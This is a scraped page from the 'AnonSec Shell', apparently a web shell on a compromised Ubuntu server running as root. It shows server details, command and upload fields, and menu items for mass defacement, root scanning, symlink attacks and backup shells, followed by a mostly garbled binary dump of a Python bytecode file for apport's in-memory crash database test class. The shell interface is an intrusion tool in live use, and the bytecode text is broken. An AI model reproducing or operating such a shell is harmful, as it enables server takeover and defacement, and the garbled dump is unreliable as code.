AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/apport/crashdb_impl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/apport/crashdb_impl/__pycache__/memory.cpython-310.pyc
o

�v�f�(�@s,dZddlZddlZGdd�dejj�ZdS)zISimple in-memory CrashDatabase implementation, mainly useful for testing.�Nc@s�eZdZdZdd�Zd.dd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Z		d/dd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�ZdS)0�
CrashDatabasez�Simple implementation of crash database interface which keeps everything
    in memory.

    This is mainly useful for testing and debugging.cCs@tjj�|||�g|_t�|_t�|_d|vr|��dSdS)zkInitialize crash database connection.

        This class does not support bug patterns and authentication.�
dummy_dataN)	�apport�crashdbr�__init__�reports�set�
unretraced�
dup_unchecked�add_dummy_data)�self�	auth_file�options�r�</usr/lib/python3/dist-packages/apport/crashdb_impl/memory.pyrs�zCrashDatabase.__init__NcCsZ|�|�sJ�|j�|dddd��t|j�d}d|vr%|j�|�|S|j�|�|S)z�Store the report and return a handle number (starting from 0).

        This does not support (nor need) progress callbacks.
        N�)�report�
fixed_version�dup_of�comment��	Traceback)�acceptsr�append�lenr
�addr	)rr�progress_callback�idrrr�upload$s
��zCrashDatabase.uploadcCs d|vrd|d|fSd|S)z�Return http://<sourcepackage>.bugs.example.com/<handle> for package bugs
        or http://bugs.example.com/<handle> for reports without a SourcePackage.�
SourcePackagezhttp://%s.bugs.example.com/%izhttp://bugs.example.com/%ir)rr�handlerrr�get_comment_url4szCrashDatabase.get_comment_urlcCs|�||�S)z�Return URL for a given report ID.

        The report is passed in case building the URL needs additional
        information from it, such as the SourcePackage name.

        Return None if URL is not available or cannot be determined.
        )r!)rrrrrr�
get_id_url=szCrashDatabase.get_id_urlcC�|j|dS)z>Download the problem report from given ID and return a Report.r�r�rrrrr�downloadG�zCrashDatabase.downloadcCs|j|ddgS)z5Return list of affected source packages for given ID.rrr$r%rrr�get_affected_packagesLsz#CrashDatabase.get_affected_packagescCsdS)z3Check whether the user is the reporter of given ID.Trr%rrr�is_reporterQszCrashDatabase.is_reportercCs
|�|�S)aBCheck whether the user is eligible to update a report.

        A user should add additional information to an existing ID if (s)he is
        the reporter or subscribed, the bug is open, not a duplicate, etc. The
        exact policy and checks should be done according to  the particular
        implementation.
        )r)r%rrr�
can_updateVs
zCrashDatabase.can_updateFc	CsN|j|}||d<|r|D]}||vr|||d|<q
dS|d�|�dS)ahUpdate the given report ID with all data from report.

        This creates a text comment with the "short" data (see
        ProblemReport.write_mime()), and creates attachments for all the
        bulk/binary data.

        If change_description is True, and the crash db implementation supports
        it, the short data will be put into the description instead (like in a
        new bug).

        comment will be added to the "short" data. If attachment_comment is
        given, it will be added to the attachment uploads.

        If key_filter is a list or set, then only those keys will be added.
        rrN)r�update)	rrrr�change_description�attachment_comment�
key_filter�r�frrrr+`s
��zCrashDatabase.updatecCs|j|ddS)zNGet 'DistroRelease: <release>' from the given report ID and return
        it.r�
DistroReleaser$r%rrr�get_distro_release{sz CrashDatabase.get_distro_releasecCsLt�}tt|j��D]}|j|ddur#|j|ddur#|�|�q
|S)aOReturn an ID set of all crashes which are not yet fixed.

        The list must not contain bugs which were rejected or duplicate.

        This function should make sure that the returned list is correct. If
        there are any errors with connecting to the crash database, it should
        raise an exception (preferably IOError).rNr)r�rangerrr)r�result�irrr�get_unfixed�s	$
�zCrashDatabase.get_unfixedcCs>z|j|ddur
WdS|j|dWStyYdSw)aReturn the package version that fixes a given crash.

        Return None if the crash is not yet fixed, or an empty string if the
        crash is fixed, but it cannot be determined by which version. Return
        'invalid' if the crash report got invalidated, such as closed a
        duplicate or rejected.

        This function should make sure that the returned result is correct. If
        there are any errors with connecting to the crash database, it should
        raise an exception (preferably IOError).rN�invalidr)r�
IndexErrorr%rrr�get_fixed_version�s�zCrashDatabase.get_fixed_versioncCr#)zcReturn master ID for a duplicate bug.

        If the bug is not a duplicate, return None.
        rr$r%rrr�duplicate_of�szCrashDatabase.duplicate_ofcCs||j|d<dS)zlMark a crash id as duplicate of given master ID.

        If master is None, id gets un-duplicated.
        rNr$)rrr�masterrrr�close_duplicate�szCrashDatabase.close_duplicatecCs,|j|ddusJ�d||j|d<dS)zpMark a crash id as reintroducing an earlier crash which is
        already marked as fixed (having ID 'master').rNz regression, already fixed in #%irr$)rrr;rrr�mark_regression�szCrashDatabase.mark_regressioncCs(z	|j�|�WdStyYdSw)z/Mark crash id as checked for being a duplicate.N)r
�remove�KeyError)rrrrrr�_mark_dup_checked�s
�zCrashDatabase._mark_dup_checkedcCs|j�|�dS)zMark crash id as retraced.N)r	r>r%rrr�
mark_retraced�szCrashDatabase.mark_retracedcC�|jS)z}Return an ID set of all crashes which have not been retraced yet and
        which happened on the current host architecture.)r	�rrrr�get_unretraced�szCrashDatabase.get_unretracedcCrB)a#Return an ID set of all crashes which have not been checked for
        being a duplicate.

        This is mainly useful for crashes of scripting languages such as
        Python, since they do not need to be retraced. It should not return
        bugs that are covered by get_unretraced().)r
rCrrr�get_dup_unchecked�szCrashDatabase.get_dup_uncheckedcCst|j�dS)z0Return the ID of the most recently filed report.r)rrrCrrr�	latest_id�r'zCrashDatabase.latest_idcCs>t��}d|d<d|d<d|d<d|d<d	|d
<d|d<|�|�t��}d
|d<d|d<d|d<d|d<d	|d
<d|d<|�|�t��}d|d<d|d<d|d<d|d<d|d
<d|d<|�|�t��}d|d<d|d<d|d<d|d
<d|d<|�|�t��}d|d<d|d<d|d<d|d
<d|d<|�|�dS)zMAdd some dummy crash reports.

        This is mostly useful for test suites.z
libfoo1 1.2-3�Package�foorz
FooLinux Pi/2r1�11�Signalz
/bin/crash�ExecutablePathz�foo_bar (x=1) at crash.c:28
d01 (x=1) at crash.c:29
raise () from /lib/libpthread.so.0
<signal handler called>
__frob (x=1) at crash.c:30�
StacktraceTopz
libfoo1 1.2-4z
Testux 1.0z�foo_bar (x=2) at crash.c:28
d01 (x=3) at crash.c:29
raise () from /lib/libpthread.so.0
<signal handler called>
__frob (x=4) at crash.c:30zbar 42-4�barz/usr/bin/brokenzuh (p=0x0) at crash.c:25
g (x=1, y=42) at crash.c:26
f (x=1) at crash.c:27
e (x=1) at crash.c:28
d (x=1) at crash.c:29zpython-goo 3epsilon1�pygooz
Testux 2.2z/usr/bin/pygooz�Traceback (most recent call last):
  File "test.py", line 7, in <module>
    print(_f(5))
  File "test.py", line 5, in _f
    return g_foo00(x+1)
  File "test.py", line 2, in g_foo00
    return x/0
ZeroDivisionError: integer division or modulo by zerorzpython-goo 5N)r�Reportr)rr/rrrr�sL



zCrashDatabase.add_dummy_data)N)FNN)�__name__�
__module__�__qualname__�__doc__rrr!r"r&r(r)r*r+r2r6r9r:r<r=r@rArDrErFrrrrrrs2
	


�
r)rS�apport.crashdbrrrrrrr�<module>s

Anon7 - 2022
AnonSec Team